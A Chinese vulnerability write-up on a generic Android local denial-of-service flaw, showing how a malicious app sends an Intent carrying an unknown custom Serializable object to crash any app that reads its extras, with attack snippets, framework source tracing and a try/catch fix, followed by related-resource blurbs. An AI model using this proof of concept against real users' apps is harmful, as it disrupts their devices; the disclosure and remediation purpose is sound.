“超级拒绝服务漏洞”是一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用。
漏洞分析:
0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
漏洞应用代码片段:
Intent i = getIntent();
if(i.getAction().equals("serializable_action")){
i.getSerializableExtra("serializable_key"); //未做异常判断
}
攻击应用代码片段:
Intent i = new Intent();
i.setAction("serializable_action");
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据
startActivity(i);
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。
但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为,当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。
自定义的序列化类很简单:
public class DataSchema implements Serializable {
private static final long serialVersionUID = -3601187837704976264L;
public DataSchema() {
super();
}
}
对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。
随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。
测试app代码片段:
protected void onCreate(Bundle savedInstanceState) {
Intent intent = getIntent();
intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash
}
接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。
/frameworks/base/core/java/android/content/Intent.java
public String getStringExtra(String name) {
return mExtras == null ? null : mExtras.getString(name);
}
/frameworks/base/core/java/android/os/Bundle.java
public String getString(String key) {
unparcel(); //处理数据
...
}
/* package */ synchronized void unparcel() {
...
mParcelledData.readMapInternal(mMap, N, mClassLoader);
...
}
/frameworks/base/core/java/android/os/Parcel.java
readMapInternal解析传递进来的数据
/* package */ void readMapInternal(Map outVal, int N,
ClassLoader loader) {
while (N > 0) {
Object key = readValue(loader);
Object value = readValue(loader);
outVal.put(key, value);
N--;
}
}
最后当解析到Serializable对象时,由于加载不到类,抛出异常
public final Serializable readSerializable() {
...
try {
ObjectInputStream ois = new ObjectInputStream(bais);
return (Serializable) ois.readObject();
} catch (IOException ioe) {
throw new RuntimeException("Parcelable encountered " +
"IOException reading a Serializable object (name = " + name +
")", ioe);
} catch (ClassNotFoundException cnfe) {
throw new RuntimeException("Parcelable encountered" +
"ClassNotFoundException reading a Serializable object (name = "
+ name + ")", cnfe);
}
}
但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个try catch 捕获异常就可以了。
漏洞检测:
爱内测开发了一个自动化的检测工具,开发者可以进行漏洞检测。检测工具:http://www.ineice.com/
漏洞修复:
不管是get什么extra,只要是getXXXExtra(),加上try catch捕获异常即可。
分享到:
相关推荐
另外,框架还应用了Accessibility技术,它可以自动关闭应用崩溃时弹出的窗口,从而提高漏洞检测的效率。 文章中提到的DroidRVMS工具,是根据所提出的框架实现的一款工具,用于自动化挖掘Android应用中的组件拒绝...
【Android 漏洞检测与动态分析】 在移动安全领域,Android 应用程序的安全性至关重要。随着移动互联网的快速发展,各类应用程序如雨后春笋般涌现,但开发者往往因市场竞争压力,忽视了应用的安全性。这使得Android...
首先,文章介绍了数字签名和验证过程的基本原理,随后详细分析了Android系统数字签名机制的具体作用及其潜在的漏洞。 在数字签名和验证过程中,数字签名技术是信息安全领域的一项关键应用,通常结合哈希算法和公钥...
这些发现为Android操作系统的安全性提供了重要的改进方向,并为安全研究人员提供了一个有效的漏洞检测手段。 从技术角度看,这个框架的设计和实现涉及到了多个重要的IT知识点: 1. Android安全:了解Android安全的...
ActivityFuzzer是一款针对Android Activity组件的安全漏洞检测工具,它基于模糊测试(fuzzing)和动态钩子(dynamichooking)技术设计。Activity组件是Android应用中的一个核心组件,负责处理应用内的不同界面以及用户的...
深入地研究了渗透测试技术在Android系统中的应用,同时阐述了如何通过特定脚本和软件工具来执行渗透测试实验,以期找出和分析Android移动设备的安全漏洞。文档主要知识点如下: 1. Android平台渗透测试背景和意义 ...
本文针对Android应用中的Intent通信安全风险进行分析并提出了一种检测方法。在Android平台上,Intent作为应用组件之间通信的一种机制,能够传递数据和启动组件。然而,不当的Intent使用可能会引入安全风险,如组件...
僵尸网络是由控制者(bot herder)通过僵尸程序(bot client)对大量被感染设备(如智能手机、平板电脑)进行远程操控的网络结构,通常用于执行恶意活动,如分布式拒绝服务攻击(DDoS)、数据窃取等。 在智能设备...
例如,手工检测虽然细致,但耗时且容易出错,对于本地拒绝服务漏洞、WebView远程代码执行、本地文件任意读写等常见安全漏洞,自动化审计显得尤为重要。 在【选型】上,通常会考虑使用如MobSF(移动安全框架)、...
该文件标题为《Android应用权限检测技术研究》,同时在描述中提到了“勒索病毒”,这意味着文档主要内容可能集中在安卓应用权限管理的安全性及其检测方法,以及勒索病毒对安卓系统可能造成的安全威胁。由于文件内容...
这类socket允许应用通过网络与其他设备通信,但如果没有进行适当的权限控制和安全检查,可能会导致拒绝服务攻击、root权限提升或远程命令执行等严重安全问题。 首先,Android应用通常使用不同类型的socket(如PF_...
Android App的权限提升攻击检测是一个重要的安全研究领域,这种攻击主要涉及到恶意应用程序试图获得与其原本应该拥有的权限不匹配的更高级别的系统权限。这些恶意App通过利用系统的漏洞或者误导用户来获取额外权限,...
例如,不必要的开放端口可能使应用成为DDoS(分布式拒绝服务)攻击的目标。 安全实践首先强调最小权限原则,即只开启必要的网络端口,并且限制应用访问特定的IP地址和端口。开发者应使用SSL/TLS协议加密传输,确保...
POC(Proof of Concept,概念验证)部分,提供了对WormHole虫洞漏洞、2wireRouter远程拒绝服务攻击以及其他漏洞的自动检测方法,这些POC脚本或工具可帮助安全研究人员或安全团队验证特定漏洞的存在,并采取相应的...
《Android应用程序框架安全机制研究及改进》这篇文章通过深入分析Android平台的安全机制,探讨了框架层面上对应用程序安全性的保护以及存在的问题,并提出了相应的改进措施。文章涉及了Android操作系统的安全模型、...
最后,这项研究也提示了安全研究社区需要进一步探索的方向,包括但不限于:发展更为先进的漏洞检测工具、制定更加全面的安全协议、以及加强对于开发者安全意识和能力的培养。在面对日益复杂的网络威胁环境时,这篇...
2. **远程操控攻击**:恶意应用可能被黑客远程操控,用于发起DDoS(分布式拒绝服务)攻击或其他网络攻击,对网络安全构成威胁。 3. **吸费软件**:有些应用会悄悄捆绑吸费软件,未经用户同意就进行额外收费,导致...
隐藏我的应用列表使用漏洞检测特定软件包名称(例如Magisk和Edxposed Manager)的android应用。还可以用作xposed模块,以拒绝/隐藏其他应用程序以免检测到某些软件包。待办事项:xposed模块尚未完成一个利用系统防御...
6. **权限处理**:在Android 6.0(API级别23)及以上版本,安装非市场来源的APK需要在运行时请求INSTALL_EXTERNAL_STORAGE权限。确保在适当的时候请求此权限,并处理可能的权限拒绝情况。 7. **处理安装失败和回滚*...
同时,使用自动化测试工具和静态代码分析工具(如Checkstyle、FindBugs、Lint等)来检测潜在的安全问题。 十、安全更新与漏洞修复 保持应用的持续更新,及时修复已知的安全漏洞。当Android发布新的安全补丁时,...